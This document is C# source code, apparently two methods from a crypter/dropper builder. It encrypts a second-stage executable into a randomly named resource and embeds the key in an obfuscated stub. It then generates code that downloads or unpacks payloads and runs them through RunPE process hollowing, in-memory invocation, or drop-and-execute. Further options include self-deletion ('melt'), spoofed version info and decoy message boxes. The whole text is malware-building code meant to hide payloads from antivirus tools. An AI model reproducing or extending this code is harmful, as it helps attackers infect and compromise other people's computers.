private void CompileStub() { try { string resourceName = BytecodeApi.Create.AlphaNumericString(MathEx.Random.Next(20, 30)); uint stage2Key; uint stage2PaddingMask; int stage2PaddingByteCount; // Encrypt stage2 into [random name].resources using (ResourceWriter resourceWriter = new ResourceWriter(GetIntermediateSourcePath(@"Resources\" + StubResourcesFileName))) { string encryptedPath = GetIntermediateBinaryPath("stage2.exe_encrypted"); Helper.EncryptData ( GetIntermediateBinaryPath("stage2.exe"), encryptedPath, Project.Stub.Padding, out stage2Key, out stage2PaddingMask, out stage2PaddingByteCount ); resourceWriter.AddResource(resourceName, File.ReadAllBytes(encryptedPath)); } // Compile stub string[] stubLines = File.ReadAllLines(GetIntermediateSourcePath("Stub.cs")); using (CSharpStream assembly = new CSharpStream(GetIntermediateSourcePath("Stub.cs"))) { foreach (string line in stubLines) { if (line.Trim() == "//{STAGE2HEADER}") { assembly.Indent = 12; assembly.Emit("string resourceFileName = /**/\"" + StubResourcesFileName + "\";"); assembly.Emit("string resourceName = /**/\"" + resourceName + "\";"); assembly.Emit("const long stage2Size = " + new FileInfo(GetIntermediateBinaryPath("stage2.exe")).Length + ";"); assembly.Emit("uint key = 0x" + stage2Key.ToString("x8") + ";"); assembly.Emit("uint paddingMask = 0x" + stage2PaddingMask.ToString("x8") + ";"); assembly.Emit("int paddingByteCount = /**/" + stage2PaddingByteCount + ";"); } else { assembly.WriteLine(line); } } } // Add VersionInfo if (!Project.VersionInfo.IsEmpty) { using (CSharpStream versionInfo = new CSharpStream(GetIntermediateSourcePath("VersionInfo.cs"))) { versionInfo.Emit("using System.Reflection;"); versionInfo.WriteLine(); if (!Project.VersionInfo.FileDescription.IsNullOrEmpty()) { versionInfo.Emit("[assembly: AssemblyTitle(" + new QuotedString(Project.VersionInfo.FileDescription) + ")]"); } if (!Project.VersionInfo.ProductName.IsNullOrEmpty()) { versionInfo.Emit("[assembly: AssemblyProduct(" + new QuotedString(Project.VersionInfo.ProductName) + ")]"); } if (!Project.VersionInfo.FileVersion.IsNullOrEmpty()) { versionInfo.Emit("[assembly: AssemblyFileVersion(" + new QuotedString(Project.VersionInfo.FileVersion) + ")]"); } if (!Project.VersionInfo.ProductVersion.IsNullOrEmpty()) { versionInfo.Emit("[assembly: AssemblyInformationalVersion(" + new QuotedString(Project.VersionInfo.ProductVersion) + ")]"); } if (!Project.VersionInfo.Copyright.IsNullOrEmpty()) { versionInfo.Emit("[assembly: AssemblyCopyright(" + new QuotedString(Project.VersionInfo.Copyright) + ")]"); } } StubSourceCodeFiles.Add("VersionInfo.cs"); } // Obfuscate code Obfuscator.ObfuscateFile(GetIntermediateSourcePath("Stub.cs")); } catch (ErrorException ex) { Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, ex.Message, ex.Details); } catch (Exception ex) { Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, "Unhandled " + ex.GetType() + " while compiling stub.", ex.GetFullStackTrace()); } }
private void CompileStage2() { try { // Only compile methods that are needed if (Project.Sources.OfType <EmbeddedSource>().Any()) { Stage2SourceCodeFiles.Add("GetResource.cs"); } if (Project.Sources.OfType <EmbeddedSource>().Any(source => source.Compress)) { Stage2SourceCodeFiles.Add("Compression.cs"); } if (Project.Sources.OfType <DownloadSource>().Any()) { Stage2SourceCodeFiles.Add("Download.cs"); } if (Project.Actions.OfType <RunPEAction>().Any()) { Stage2SourceCodeFiles.Add("RunPE.cs"); } if (Project.Actions.OfType <InvokeAction>().Any()) { Stage2SourceCodeFiles.Add("Invoke.cs"); } if (Project.Actions.OfType <DropAction>().Any()) { Stage2SourceCodeFiles.Add("Drop.cs"); } // Compile resources using (ResourceWriter resourceWriter = new ResourceWriter(GetIntermediateSourcePath(@"Resources\" + Stage2ResourcesFileName))) { foreach (EmbeddedSource source in Project.Sources.OfType <EmbeddedSource>()) { byte[] file = File.ReadAllBytes(source.Path); resourceWriter.AddResource(source.AssemblyId.ToString(), source.Compress ? Compression.Compress(file) : file); } } // Compile main program string[] stage2Lines = File.ReadAllLines(GetIntermediateSourcePath("Stage2.cs")); using (CSharpStream assembly = new CSharpStream(GetIntermediateSourcePath("Stage2.cs"))) { if (Project.Startup.Melt) { assembly.Emit("#define MELT"); assembly.WriteLine(); } foreach (string line in stage2Lines) { if (line.Trim() == "//{MAIN}") { assembly.Indent = 8; // Compile actions foreach (ProjectAction action in Project.Actions) { assembly.EmitLabel("action_" + action.AssemblyId); assembly.Emit("try"); assembly.BlockBegin(); // Retrieve source if (action.Source is EmbeddedSource embeddedSource) { assembly.EmitComment("Get embedded file: " + Path.GetFileName(embeddedSource.Path)); assembly.Emit("byte[] payload = __GetResource(/**/\"" + embeddedSource.AssemblyId + "\");"); assembly.WriteLine(); if (embeddedSource.Compress) { assembly.EmitComment("Decompress embedded file"); assembly.Emit("payload = __Decompress(payload);"); assembly.WriteLine(); } } else if (action.Source is DownloadSource downloadSource) { assembly.EmitComment("Download: " + downloadSource.Url); assembly.Emit("byte[] payload = __Download(/**/\"" + downloadSource.Url + "\");"); assembly.WriteLine(); } else if (action is MessageBoxAction) { } else { throw new InvalidOperationException(); } // Perform action if (action is RunPEAction) { assembly.EmitComment("RunPE"); assembly.Emit("__RunPE(Application.ExecutablePath, __CommandLine, payload);"); } else if (action is InvokeAction) { assembly.EmitComment("Invoke .NET executable"); assembly.Emit("__Invoke(payload);"); } else if (action is DropAction dropAction) { assembly.EmitComment("Drop " + dropAction.Location.GetDescription() + @"\" + dropAction.FileName + (dropAction.ExecuteVerb == ExecuteVerb.None ? null : " and execute (verb: " + dropAction.ExecuteVerb.GetDescription() + ")")); assembly.Emit("__DropFile(/**/" + (int)dropAction.Location + ", payload, /**/" + new QuotedString(dropAction.FileName) + ", /**/" + dropAction.GetWin32FileAttributes() + ", /**/" + (int)dropAction.ExecuteVerb + ");"); } else if (action is MessageBoxAction messageBoxAction) { assembly.EmitComment("MessageBox (icon: " + messageBoxAction.Icon.GetDescription() + ", buttons: " + messageBoxAction.Buttons.GetDescription() + ")"); assembly.Emit("DialogResult result = MessageBox.Show(/**/" + new QuotedString(messageBoxAction.Text) + ", /**/" + new QuotedString(messageBoxAction.Title) + ", (MessageBoxButtons)/**/" + (int)messageBoxAction.Buttons + ", (MessageBoxIcon)/**/" + (int)messageBoxAction.Icon + ");"); if (messageBoxAction.HasEvents) { assembly.WriteLine(); } EmitMessageBoxEvent(messageBoxAction.OnOk, "ok", 1); EmitMessageBoxEvent(messageBoxAction.OnCancel, "cancel", 2); EmitMessageBoxEvent(messageBoxAction.OnYes, "yes", 6); EmitMessageBoxEvent(messageBoxAction.OnNo, "no", 7); EmitMessageBoxEvent(messageBoxAction.OnAbort, "abort", 3); EmitMessageBoxEvent(messageBoxAction.OnRetry, "retry", 4); EmitMessageBoxEvent(messageBoxAction.OnIgnore, "ignore", 5); void EmitMessageBoxEvent(ActionEvent actionEvent, string eventName, int result) { if (actionEvent != ActionEvent.None) { assembly.EmitComment("If '" + eventName + "' was clicked, " + Helper.GetCommentForActionEvent(actionEvent)); string code = "if (result == (DialogResult)/**/" + result + ") "; switch (actionEvent) { case ActionEvent.SkipNextAction: code += "goto " + (action == Project.Actions.Last() ? "end" : "action_" + (action.AssemblyId + 1) + "_end") + ";"; break; case ActionEvent.Exit: code += "goto end;"; break; default: throw new InvalidOperationException(); } assembly.Emit(code); } } } else { throw new InvalidOperationException(); } assembly.BlockEnd(); assembly.Emit("catch"); assembly.BlockBegin(); assembly.BlockEnd(); assembly.EmitLabel("action_" + action.AssemblyId + "_end"); assembly.WriteLine(); } } else { assembly.Indent = 0; assembly.WriteLine(line); } } } // Obfuscate code Obfuscator.ObfuscateFile(GetIntermediateSourcePath("Stage2.cs")); } catch (ErrorException ex) { Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, ex.Message, ex.Details); } catch (Exception ex) { Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, "Unhandled " + ex.GetType() + " while compiling stage2.", ex.GetFullStackTrace()); } }